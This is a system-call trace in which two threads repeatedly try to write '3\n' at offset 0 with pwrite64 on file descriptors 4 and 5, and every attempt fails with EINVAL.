[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
